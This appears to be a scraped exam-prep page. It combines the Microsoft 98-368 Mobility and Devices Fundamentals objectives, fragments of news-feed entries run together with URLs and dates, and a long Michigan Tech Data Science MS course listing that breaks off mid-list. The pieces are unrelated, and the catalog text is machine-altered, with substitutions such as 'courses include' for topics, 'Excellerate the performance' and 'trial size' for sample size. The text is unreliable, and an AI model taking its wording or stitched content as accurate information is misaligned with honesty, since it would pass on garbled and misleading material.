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Exam Code: 98-368 Practice exam 2022 by Killexams.com team 98-368 Mobility and Devices Fundamentals
Exam Title :
Microsoft Technology Associate (MTA) - Mobility and Devices Fundamentals
Exam ID :
98-368
Exam Duration :
45 mins
Questions in exam :
40-60
Passing Score :
700 / 1000
Official Training :
40368
Exam Center :
Pearson VUE
Real Questions :
Microsoft Mobility and Devices Fundamentals Real Questions
VCE practice exam :
Microsoft 98-368 Certification VCE Practice Test
Topic
Details
Understand device configurations (20-25%)
Configure device options
- Describe Microsoft account, configure Control Panel, configure system options
Configure desktop settings
- Configure the Start menu, profiles, display settings, shortcuts, and group configurations and capabilities
Configure drive encryption
- Configure BitLocker, prepare for file encryption
Configure updates
- Describe Windows Update, describe app updates, describe device system updates
Understand data access and management (20-25%)
Describe cloud storage services
- Describe OneDrive, Microsoft Azure storage, OneNote, Outlook, and Office 365
Describe local storage
- Describe storage spaces and storage pools
Describe file systems
- Describe FAT, FAT32, exFAT, NTFS, and Resilient File System Overview (ReFS)
Describe file and print sharing
- Describe NTFS and share permissions, HomeGroup, print drivers, and effective permissions; create public, basic, and advanced shares; map drives
Describe data encryption
- Describe encrypting file system (EFS); describe how EFS-encrypted folders impact moving and copying files; describe BitLocker To Go, virtual private network (VPN), public key, and private key; certificate services; and SSL
Understand device security (20-25%)
Describe the differences between the Internet, an intranet, and an extranet
- Describe uses of private networks, public networks, host firewalls, network firewalls, and clouds
Describe user authentication
- Describe Multifactor authentication, describe smart cards, describe Windows Rights Management Services, describe biometrics and password procedures
Describe permissions
- Configure file and share permissions; describe the behavior when moving or copying files from one location to another; describe basic and advanced permissions; describe taking ownership, delegating, and resultant permissions
Describe malware
- Describe computer viruses, Trojan horses, spyware, and adware; describe antivirus and antimalware strategies
Understand cloud services (20-25%)
Describe the types of cloud services
- Describe productivity services, storage services, communications services, and search services
Describe Microsoft Intune
- Describe Microsoft Intune capabilities, describe selective wipe, describe location settings
Describe Microsoft Azure
- Describe virtual machines; describe Azure services; storage tiers, describe disaster recovery, high availability, redundancy, and fault tolerance
Understand enterprise mobility (20-25%)
Describe identity services
- Describe Windows Server Active Directory and Azure Active Directory, Microsoft Account, and federation services
Describe business data access
- Describe Company Portal, describe Work Folders, Offline folders, describe Azure RemoteApp
Describe Bring Your Own Device (BYOD)
- Describe device-centric to people-centric IT, describe desktop virtualization, describe Dynamic Access Control policies, describe Windows Rights ManagementMobility and Devices Fundamentals Microsoft Fundamentals testing Killexams : Microsoft Fundamentals testing - BingNews
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Thu, 14 Jul 2022 20:53:00 -0500entext/htmlhttps://www.pcmag.com/deals/prep-for-a-career-in-the-cloud-with-a-39-microsoft-azure-training-bundleKillexams : Introduction to Microsoft Azure Cloud ServicesNo result found, try new keyword!This course can help you prepare for AZ-900: Microsoft Azure Fundamentals exam ... Microsoft Azure portal and a sandbox to create and test Microsoft Azure resources at no cost to you.Tue, 24 May 2022 00:29:00 -0500text/htmlhttps://www.usnews.com/education/skillbuilder/introduction-to-microsoft-azure-cloud-services-0_3F6VL2JKEeuj5A4IE9yi4QKillexams : This is going to be an ugly week for fundamentals and stock prices, says The Satori Fund's NilesNo result found, try new keyword!Dan Niles, The Satori Fund founder, joins 'Closing Bell' to discuss moves he is making after Snap's quarterly earnings results, what he's expecting from cloud service company results and more ...Mon, 25 Jul 2022 10:04:00 -0500en-ustext/htmlhttps://www.msn.com/en-us/foodanddrink/foodnews/this-is-going-to-be-an-ugly-week-for-fundamentals-and-stock-prices-says-the-satori-funds-niles/vi-AAZXwXaKillexams : Data Science—MS
The Michigan Tech Advantage
The Michigan Tech Data Science MS provides a broad-based education in data mining, predictive analytics, cloud computing, data-science fundamentals, communication, and business acumen. You'll gain a competitive edge through domain-specific specialization in disciplines of science and engineering, and you'll have the freedom to explore and develop your own interests in one or more domains.
Program Prerequisites
Entry into the Data Science MS program assumes basic knowledge in statistical and mathematical techniques, computer programming, information systems and databases, and communications, obtained through a degree in business, math, computing, science, or an engineering discipline.
Past Coursework Requirements
Each year we evaluate and adjust our course lists, the coursework requirements for prior years are linked below.
Current Coursework Requirements
Our Master of Science in Data Science is a terminal degree designed to prepare students for careers in industry and government.
MS, Data Science: Coursework Option
This option requires a minimum of 30 credits be earned through coursework. A limited number of research credits may be used with the approval of the advisor, department, and Graduate School. See degree requirements for more information.
A graduate program may require an oral or written examination before conferring the degree and may require more than the minimum credits listed here:
Distribution of Coursework Credit
Distribution
Credits
5000-6000 series (minimum)
18 Credits
3000-4000 (maximum)
12 Credits
Students in the Data Science program take courses from four categories: Core Courses, Elective Courses, Foundational Courses, and Domain Specific/Elective courses.
Core Courses—12 credits
UN 5550 - Introduction to Data Science
Introduces concepts and skills fundamental to Data Science including: getting data, data wrangling, exploratory data analysis, basic statistics, data visualization, data modeling, and learning. The course introduces data science from different perspectives: computer science, mathematics, business, engineering, and more.
Credits: 3.0
Lec-Rec-Lab: (2-0-3)
Semesters Offered: Fall, Spring
Restrictions: Must be enrolled in one of the following Level(s): Graduate; Must be enrolled in one of the following Major(s): Data Science
BA 5200 - Information Systems Management and Data Analytics
Focuses on management of IS/IT within the business environment. courses include IT infrastructure and architecture, organizational impact of innovation, change management, human-machine interaction, and contemporary management issues involving data analytics. Class format includes lecture, group discussion, and integrative case studies.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Restrictions: Must be enrolled in one of the following Level(s): Graduate; Must be enrolled in one of the following Major(s): Data Science, Engineering Management, Applied Natural Resource Econ., Accounting, Business Administration
CS 5831 - Advanced Data Mining
Data mining focuses on extracting knowledge from large data sources. The course covers data mining concepts, methodology (measurement, evaluation, visualization), algorithms (classification/regression, clustering, association rules) and applications (web mining, recommender systems, bioinformatics).
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): (CS 3425 or MIS 3100) and (MA 2330 or MA 2320 or MA 2321) and (MA 2710 or MA 2720 or MA 3710)
MA 5790 - Predictive Modeling
Application, construction, and evaluation of statistical models used for prediction and classification. courses include data pre-processing, over-fitting and model tuning, linear and nonlinear regression models and linear and nonlinear classification models.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Pre-Requisite(s): MA 3740 or MA 4710 or MA 4720 or MA 4780 or (MA 4700 and MA 5701)
Foundational Courses—Maximum of 6 credits
A maximum of six credit hours of foundational skills courses at the 3000–4000 level may be applied to the Master of Science in Data Science. These courses will build skills necessary for successful completion of the MS in Data Science. Some students will not need to take these foundational courses and will instead use the domain electives to reach the credit requirements of this program.
CS 3425 - Introduction to Database Systems
This course provides an introduction to database systems including database design, query, and programming. courses include goals of database management; data definition; data models; data normalization; data retrieval and manipulation with relational algebra and SQL; data security and integrity; database and Web programming; and languages for representing semi-structured data.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Pre-Requisite(s): (CS 2311 or MA 3210) and CS 2321
FIN 3000 - Principles of Finance
Introduction to the principles of finance. courses include financial mathematics, the capital investment decision, financial assets valuation, and the risk-return relationship
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall, Spring, Summer
Pre-Requisite(s): ACC 2000 and (MA 1020 or MA 1030 or MA 1031 or MA 1032 or MA 1120 or MA 1160 or MA 1161 or MA 1121 or MA 2160 or ALEKS Math Placement >= 61 or CEEB Calculus AB >= 2 or CEEB Calculus BC >= 2 or ACT Mathematics >= 22 or SAT MATH SECTION SCORE-M16 >= 540)
FW 3540 - An Introduction to Geographic Information Systems for Natural Resource Management
The fundamentals of GIS and its application to natural resource management. Spatial data, its uses and limitations are evaluated. Students work extensively with the ARCGIS software package.
Credits: 4.0
Lec-Rec-Lab: (3-0-3)
Semesters Offered: Spring
Pre-Requisite(s): MA 2710(C) or MA 2720(C) or MA 3710(C) or ENVE 3502 or CEE 3502(C)
MA 3710 - Engineering Statistics
Introduction to the design, conduct, and analysis of statistical studies aimed at solving engineering problems. courses include methods of data collection, descriptive and graphical methods, probability and probability models, statistical inference, control charts, linear regression, design of experiments.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring, Summer
Pre-Requisite(s): MA 2160 or MA 3160(C)
MA 3740 - Statistical Programming and Analysis
Project-based course enabling students to identify statistical methods and analysis using R and SAS. courses include exploratory data analysis, classical statistical tests, trial size and power considerations, correlation, regression,and design experiments using advanced programming techniques.
Credits: 3.0
Lec-Rec-Lab: (0-2-2)
Semesters Offered: Fall, Spring
Pre-Requisite(s): MA 2710 or MA 2720 or MA 3710 or MA 3715
MA 3715 - Biostatistics
Introduction to the design and analysis of statistical studies in the health and life sciences. courses include study design, descriptive and graphical methods, probability, inference on means, categorical data analysis, and linear regression.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): MA 1135 or MA 1160 or MA 1161 or MA 1121 or MA 2160(C) or MA 3160(C)
MKT 3600 - Marketing Data Analytics
Focuses on data-driven consumer insights for marketing decision-making. courses include scientific research methodology, survey research, social media data-analysis, multivariate data analysis, information visualization, and report writing and presentations.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): (MA 2710 or MA 2720 or MA 3710 or BUS 2100) and MKT 3000
SAT 3210 - Database Management
Introductory course on database management. courses include data modeling, database design, implementation techniques, SQL Language, database administration and security.
Credits: 3.0
Lec-Rec-Lab: (0-2-2)
Semesters Offered: Fall
Restrictions: Must be enrolled in one of the following Class(es): Junior, Senior
Pre-Requisite(s): SAT 1200 or CS 1111 or CS 1121 or CS 1131 or CS 1142 or MIS 2100
SAT 3611 - Infrastructure Service Administration and Security
Administrating Linux and Microsoft servers together to provide infrastructure services to mixed clients. courses include: DNS; DHCP; file, web, mail, and directory security of these services; and best practices for combining and mixing server platforms in an enterprise environment.
Credits: 3.0
Lec-Rec-Lab: (0-2-2)
Semesters Offered: Fall
Pre-Requisite(s): SAT 2711
Electives—Minimum of 6 credits
Two courses must be taken from the list of approved elective courses:
CS 5631 - Data Visualization
Introduction to scientific and information visualization. courses include methods for visualizing three-dimensional scalar and vector fields, visual data representations, tree and graph visualization, large-scale data analysis and visualization, and interface design and interaction techniques.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Pre-Requisite(s): CS 4611 or CS 5611
CS 5841 - Machine Learning
This course will explore the foundational techniques of machine learning. courses are pulled from the areas of unsupervised and supervised learning. Specific methods covered include naive Bayes, decision trees, support vector machine (SVMs), ensemble, and clustering methods.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Spring
Restrictions: Permission of instructor required; May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
Pre-Requisite(s): CS 4821
CS 5471 - Computer Security
This covers fundamentals of computer security. courses include practical cryptography, access control, security design principles, physical protections, malicious logic, program security, intrusion detection, administration, legal and ethical issues.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): CS 3411 or CS 4411
FW 5083 - Programming Skills for Bioinformatics
Students will learn computer programming skills in Perl for processing genomic sequences and gene expression data and become familiar with various bioinformatics resources.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall, in odd years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
MA 4710 - Regression Analysis
Covers simple, multiple, and polynomial regression; estimation, testing, and prediction; weighted least squares, matrix approach, dummy variables, multicollinearity, model diagnostics and variable selection. A statistical computing package is an integral part of the course.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Pre-Requisite(s): MA 2710 or MA 2720 or MA 3710 or MA 3715 or MA 5701
MA 5770 - Bayesian Statistics
The theory of Bayesian inference. courses include prior specifications, basics of decision theory, Markov chain, Monte Carlo, Bayes factor, linear regression, linear random effects model, hierarchical models, Bayesian hypothesis testing, Bayesian model selection.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, in even years
Pre-Requisite(s): MA 4330 and MA 4710 and MA 4760
MA 5781 - Time Series Analysis and Forecasting
Statistical modeling and inference for analyzing experimental data that have been observed at different points in time. courses include models for stationary and non stationary time series, model specification, parametric estimation, model diagnostics and forecasting, seasonal models and time series regression models.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): (MA 2710 or MA 2720 or MA 3710 or MA 3715 or MA 5701) and (MA 3720 or EE 3180 or MA 4700)
MGT 4600 - Management of Technology and Innovation
Introduces disruptive innovation concepts and provides occasions for their application to timely and relevant cases. Provides an understanding of technology management and innovation processes as they occur inside and outside of organizations.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring, Summer
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore
PSY 5210 - Advanced Statistical Analysis and Design I
An overview of data analysis methods including visualization, data programming, and univariate statistics such as t-test and ANOVA.
Credits: 3.0
Lec-Rec-Lab: (0-2-2)
Semesters Offered: Fall, in even years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
SAT 5114 - Artificial Intelligence in Healthcare
This course introduces students to clinical data and artificial intelligence (A1) methods in healthcare. Health AI courses such as risk prediction, imaging, natural language processing of clinical text, and the integration of AI into the clinical environment are covered.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring, in even years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
UN 5390 - Scientific Computing
Set in a Linux environment, course offers exposure to Foss tools for developing computational and visualization workflows. Students will learn to translate problems into programs, understand sources of errors, and debug, Excellerate the performance of and parallelize the code.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall, Spring
Restrictions: Permission of instructor required; Must be enrolled in one of the following Level(s): Graduate
Domain Specific Courses—Maximum of 12 Credits
To complete the Master of Science in Data Science, students must earn the remaining of the required 30 credits through completion of approved domain-specific Data Science courses. Students may choose domain-specific courses from one or more domains. Each student will consult with her/his advisor in order to determine the appropriate mix of elective courses and domain-specific courses, given the student’s background, interests, and career aspirations.
Biomedical Engineering
BE 5870 - Computer Vision for Microscopic Images
This course teaches how to quantify data out of images, typically from optical microscopes. It covers thresholding, image derivatives, edge-detection, watershed, multi-scale and steerable filters, 3D image processing, feature extraction, PCA, classification, convolutional neural networks, particle tracking, and diffusion analysis.
Credits: 3.0
Lec-Rec-Lab: (0-1-2)
Semesters Offered: Fall, in even years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Business and Economics
ACC 5200 - Financial Statement Analysis
Study of financial statement analysis and concepts of valuation utilizing accounting based financial information. Methods are applied to encompass decision making, communication, and judgment using problems, cases, and projects.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Restrictions: Must be enrolled in one of the following Level(s): Graduate; Must be enrolled in one of the following Major(s): Accounting; May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
BA 5300 - Financial Reporting and Control
This class covers the collection, reporting, and analysis of financial information with emphasis on the use of that information to support decision making.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Restrictions: Must be enrolled in one of the following Level(s): Graduate; Must be enrolled in one of the following Major(s): Applied Natural Resource Econ., Engineering Management, Accounting, Business Administration
BA 5610 - Operations Management
Applications and case studies focusing on contemporary issues in operations and quality management to include lean manufacturing practices, ERP, quality and environmental management systems/standards, Six Sigma, statistical process control, and other current topics.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Spring
Restrictions: Must be enrolled in one of the following Level(s): Graduate; Must be enrolled in one of the following Major(s): Data Science, Engineering Management, Applied Natural Resource Econ., Accounting, Business Administration
BA 5650 - Project Management
Focuses on project definition, selection, planning, scheduling, implementation, performance monitoring, evaluation and control. Emphasis will be on product, service and process development and emerging concepts related to development on the internet. Some advanced concepts in resource constraint management and design matrix are included.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Summer
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): MA 2710 or MA 2720 or MA 3710 or EET 2010 or CEE 3710 or BUS 2100
BA 5800 - Marketing, Technology, and Globalization
The course facilitates students' improvement of analytical skills, information processing techniques, and cultural competence in the globalized marketing environment. Focuses are placed on strategic marketing management, high-tech product marketing, global consumer behavior, branding, and online marketing.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Restrictions: Must be enrolled in one of the following Level(s): Graduate; Must be enrolled in one of the following Major(s): Data Science, Engineering Management, Applied Natural Resource Econ., Accounting, Business Administration
EC 4200 - Econometrics
Introduces techniques and procedures to estimate and test economic and financial relationships developed in business, economics, social and physical sciences.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Pre-Requisite(s): (EC 2001 or EC 3002 or EC 3003) and (BUS 2100 or MA 2710 or MA 2720 or MA 3710) and (MA 1135 or MA 1160 or MA 1161 or MA 1121)
EC 4400 - Banking and Financial Institutions
Analysis of asset and liability management of financial institutions and the role of financial institutions in the U.S. and international economy.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Pre-Requisite(s): (EC 3003 or FIN 3000) and UN 1015 and (UN 1025 or Modern Language - 3000 level or higher)
FIN 4200 - Derivatives and Financial Engineering
Covers the pricing and use of options, financial futures, swaps, and other derivative securities.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Pre-Requisite(s): EC 3400 or FIN 3000 and (MA 2710 or MA 2720 or MA 3710)
MGT 3800 - Innovation & Entrepreneurship
Develops an entrepreneurial mindset and a personal toolkit of methods and practices that enables students to create and evaluate entrepreneurial opportunities, marshal resources, and engage in entrepreneurial teams driven by creativity, leadership, smart action, and innovation.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Restrictions: May not be enrolled in one of the following Class(es): Freshman
MIS 3200 - Systems Analysis and Design
Provides an understanding of the IS development and modification process and the evaluation choices of a system development methodology. Emphasizes effective communication with users and team members and others associated with the development and maintenance of the information system. Stresses analysis and logical design of departmental-level information system.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Pre-Requisite(s): MIS 2000(C) or MIS 2100(C) or CS 1122 or CS 1131
MIS 4400 - Business Intelligence and Analytics
Focuses on generation and interpretation of business analytics relative to organizational decision making. Includes core skills necessary for constructing data retrieval queries in a relational database environment and processing data using appropriate programming languages. Introduces concepts related to data pipelining.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: On Demand
Pre-Requisite(s): (MIS 2100 or CS 1122 or CS 1131) and (MIS 3100 or CS 3425)
MIS 4990 - Special courses in Management Information Systems
Examines current IS/IT courses and issues in greater depth from a managerial perspective. A single offering of this course will concentrate on one or two topics, which will vary.
Credits: 3.0; Repeatable to a Max of 6
Lec-Rec-Lab: (0-3-0)
Semesters Offered: On Demand
Pre-Requisite(s): MIS 2000 or MIS 2100 or CS 1122 or CS 1131
MKT 3200 - Consumer Behavior & Culture
Introduces students to models, theories, practices, and sociocultural issues pertinent to consumers' decision making and lifestyle choices. Discussions will be based on a variety of disciplines: psychology, sociology, economics, and anthropology.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Pre-Requisite(s): MKT 3000
MKT 3600 - Marketing Data Analytics
Focuses on data-driven consumer insights for marketing decision-making. courses include scientific research methodology, survey research, social media data-analysis, multivariate data analysis, information visualization, and report writing and presentations.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): (MA 2710 or MA 2720 or MA 3710 or BUS 2100) and MKT 3000
Chemistry
CH 4610 - Introduction to Polymer Science
Introductory study of the properties of polymers. Includes structure and characterization of polymers in the solid state, in solution, and as melts. courses include viscoelasticity, rubbery elasticity, rheology and polymer processing. Applications discussed include coatings, adhesives, and composites.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Pre-Requisite(s): CH 1122 or (CH 1160 and CH 1161)
Advanced study of mechanistic organic and physical organic chemistry intended to bring the student to the level of current research activity. courses may include methods for determining organic reaction mechanisms, chemical bonding as it applies to organic compounds, structure-reactivity relationships, molecular rearrangements, and molecular orbital theory.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: On Demand
Restrictions: Must be enrolled in one of the following Level(s): Graduate
CH 5420 - Advanced Organic Chemistry: Synthesis
Advanced study of organic reactions and synthetic organic chemistry intended to bring the student to the level of current research activity. courses may include retrosynthetic analysis and synthesis design, synthons, protecting groups, and analysis of syntheses from latest literature.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: On Demand
Restrictions: Must be enrolled in one of the following Level(s): Graduate
CH 5509 - Transport and Transformation of Organic Pollutants
Assessment of factors controlling environmental fate, distribution, and transformation of organic pollutants. Thermodynamics, equilibrium, and kinetic relationships are used to quantify organic pollutant partitioning and transformations in air, water, and sediments. Use of mass balance equations to quantify pollutant transport.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, in odd years
Pre-Requisite(s): CEE 4501 or CH 3510
CH 5515 - Atmospheric Chemistry
Study of the photochemical processes governing the composition of the troposphere and stratosphere, with application to air pollution and climate change. Covers radical chain reaction cycles, heterogeneous chemistry, atmospheric radiative transfer, and measurement techniques for atmospheric gases.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Spring
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): CH 3510 or ENVE 4501 or ENVE 4504 or CEE 4501 or CEE 4504
CH 5516 - Aerosol and Cloud Chemistry
This course is focused on the chemistry of atmospheric aerosols and cloud processes. Students will learn about methods for chemical characterization, the chemical composition of aerosol and the chemical reactions pertinent to secondary aerosol and cloud composition.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Spring, in even years
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
CH 5560 - Computational Chemistry
Focuses on the theory and method of modern computational techniques applied to the study of molecular properties and reactivity through lecture and computer projects. Covers classical mechanical as well as quantum mechanical approaches.
Credits: 3.0
Lec-Rec-Lab: (2-0-3)
Semesters Offered: Fall
Pre-Requisite(s): CH 3520
Cognitive and Learning Sciences
PSY 5220 - Advanced Statistical Analysis and Design II
Course covers multivariate statistics such as ANCOVA, Multiple Regression, factor analysis, clustering, machine learning, and mixture modeling.
Credits: 3.0; Repeatable to a Max of 12
Lec-Rec-Lab: (0-2-2)
Semesters Offered: Spring, in odd years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): PSY 5110
Computer Sciences
CS 4425 - Database Management System Design
This course covers the design issues concerning the implementation of database management systems, including distributed databases. The courses include data storage, index implementation, query processing and optimization, security, concurrency control, transaction processing, and recovery.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: On Demand
Pre-Requisite(s): CS 3425
CS 4471 - Computer Security
This covers fundamentals of computer security. courses include practical cryptography, access control, security design principles, physical protections, malicious logic, program security, intrusion detection, administration, legal and ethical issues.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Restrictions: May not be enrolled in one of the following Level(s): Graduate
Pre-Requisite(s): CS 3411 or CS 4411
CS 4811 - Artificial Intelligence
Fundamental ideas and techniques that are used in the construction of problem solvers that use Artificial Intelligence technology. courses include knowledge representation and reasoning, problem solving, heuristics, search heuristics, inference mechanisms, and machine learning.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore
Pre-Requisite(s): CS 2311 and CS 2321 and (CS 3411 or CS 3421 or CS 3425 or CS 3331)
CS 5321 - Advanced Algorithms
Design and analysis of advanced algorithms. courses include algorithms for complex data structures, probabilistic analysis, amortized analysis, approximation algorithms, and NP-completeness. Design and analysis of algorithms for string-matching and computational geometry are also covered.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Pre-Requisite(s): CS 4321
CS 5331 - Parallel Algorithms
Advanced courses in the design, analysis, and performance evaluation of parallel algorithms. courses include advanced techniques for algorithm analysis, memory models, run time systems, parallel architectures, and program design, particularly emphasizing the interactions of these factors.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): CS 4431 and CS 4331
CS 5441 - Distributed Systems
Covers time and order in distributed systems; mutual exclusion, agreement, elections, and atomic transactions; Distributed File Systems, Distributed Shared Memory, Distributed System Security; and issues in programming distributed systems. Uses selected case studies.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall, Spring
Pre-Requisite(s): CS 4411 and CS 4461
CS 5760 - Human-Computer Interactions and Usability Testing
Current issues in human-computer interaction (HCI), evaluation of user interface (UI) design, and usability testing of UI. Course requires documenting UI design evaluation, UI testing, and writing and presenting a HCI survey, concept or subject paper.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Spring
Pre-Requisite(s): CS 4760
CS 5811 - Advanced Artificial Intelligence
Course courses include current courses in artificial intelligence including agent-based systems, learning, planning, use of uncertainty in problem solving, reasoning, and belief systems.
Credits: 3.0
Lec-Rec-Lab: (0-3-0)
Semesters Offered: Fall
Pre-Requisite(s): CS 4811
CS 5821 - Computational Intelligence - Theory and Application
This course covers the four main paradigms of Computational Intelligence, viz., fuzzy systems, artificial neural networks, evolutionary computing, and swarm intelligence, and their integration to develop hybrid systems. Applications of Computational Intelligence include classification, regression, clustering, controls, robotics, etc.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: On Demand
Restrictions: Permission of instructor required; Must be enrolled in one of the following Level(s): Graduate
Electrical and Computer Engineering
EE 5500 - Probability and Stochastic Processes
Theory of probability, random variables, and stochastic processes, with applications in electrical and computer engineering. Probability measure and probability spaces. Random variables, distributions, expectations. Random vectors and sequences. Stochastic processes, including Gaussian and Poisson processes. Stochastic processes in linear systems. Markov chains and related topics.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall
Restrictions: Must be enrolled in one of the following Major(s): Electrical Engineering, Electrical Engineering, Electrical & Computer Engineer; May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
EE 5521 - Detection & Estimation Theory
Detecting and estimating signals in the presence of noise. Optimal receiver design. Applications in communications, signal processing, and radar.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Fall, Spring
Restrictions: Must be enrolled in one of the following Level(s): Graduate; Must be enrolled in one of the following Major(s): Electrical & Computer Engineer, Electrical Engineering, Computer Engineering
Pre-Requisite(s): EE 5500
EE 5726 - Wireless Sensor Networks
Building blocks of wireless sensor networks, sensor node design, wireless communications, network protocols, data storage and retrieval, sensor localization and clock synchronization. Example application areas: robotics, autonomous vehicles and networks, power engineering, smart-grid, environment monitoring, and disaster relief.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: On Demand
Pre-Requisite(s): (CS 4461 or EE 4272 or EE 5722) and (EE 3170 or EE 3173) and (CS 1129 or CS 2141)
EE 5821 - Computational Intelligence - Theory and application
This course covers the four main paradigms of Computational Intelligence, viz., fuzzy systems, artificial neural networks, evolutionary computing, and swarm intelligence, and their integration to develop hybrid systems. Applications of Computational Intelligence include classification, regression, clustering, controls, robotics, etc.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: On Demand
Restrictions: Permission of instructor required; Must be enrolled in one of the following Level(s): Graduate
Forest Resources and Environmental Science
FW 5084 - Data Presentation and Visualization with R
This course is designed for graduate students majoring in forestry, wildlife, ecology, and natural resource management and data science to develop fundamental but essential skills for data presentation and visualization through generating informative graphs with R.
Credits: 2.0
Lec-Rec-Lab: (1-0-2)
Semesters Offered: Spring, in odd years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
FW 5411 - Applied Regression Analysis
Regression as a tool for the analysis of forest and environmental science data. courses include multiple linear, curvilinear and non-linear regression, hierarchical and grouped data and mixed-effects models. Emphasis is placed on application of tools to real-world data using R.
Credits: 3.0
Lec-Rec-Lab: (3-0-0)
Semesters Offered: Spring, in odd years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Co-Requisite(s): FW 5412
FW 5412 - Regression in R
Use of R for basic data manipulation, statistical summary and regression. courses include installing R, data import and export, basic statistics, graphics and fitting of linear, non-linear and mixed-effects models.
Credits: 1.0
Lec-Rec-Lab: (0-1-0)
Semesters Offered: Spring, in odd years
Restrictions: Must be enrolled in one of the following Level(s): Graduate
Co-Requisite(s): FW 5411
FW 5540 - Remote Sensing of the Environment
Remote sensing principles and concepts. courses include camera and digital sensor arrays, types of imagery, digital data structures, spectral reflectance curves, applications, and introductory digital image processing.
Credits: 3.0
Lec-Rec-Lab: (2-1-0)
Semesters Offered: Fall
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
Co-Requisite(s): FW 5541
FW 5550 - Geographic Information Science and Spatial Analysis
Use of geographic information systems (GIS) in resource management. Studies various components of GIS in detail, as well as costs and benefits. Laboratory exercises use ArcGIS software package to solve resource management problems.
Credits: 4.0
Lec-Rec-Lab: (3-0-3)
Semesters Offered: Fall
Restrictions: May not be enrolled in one of the following Class(es): Freshman, Sophomore, Junior
Pre-Requisite(s): MA 2710 or MA 2720 or MA 3710
FW 5555 - Advanced GIS Concepts and Analysis
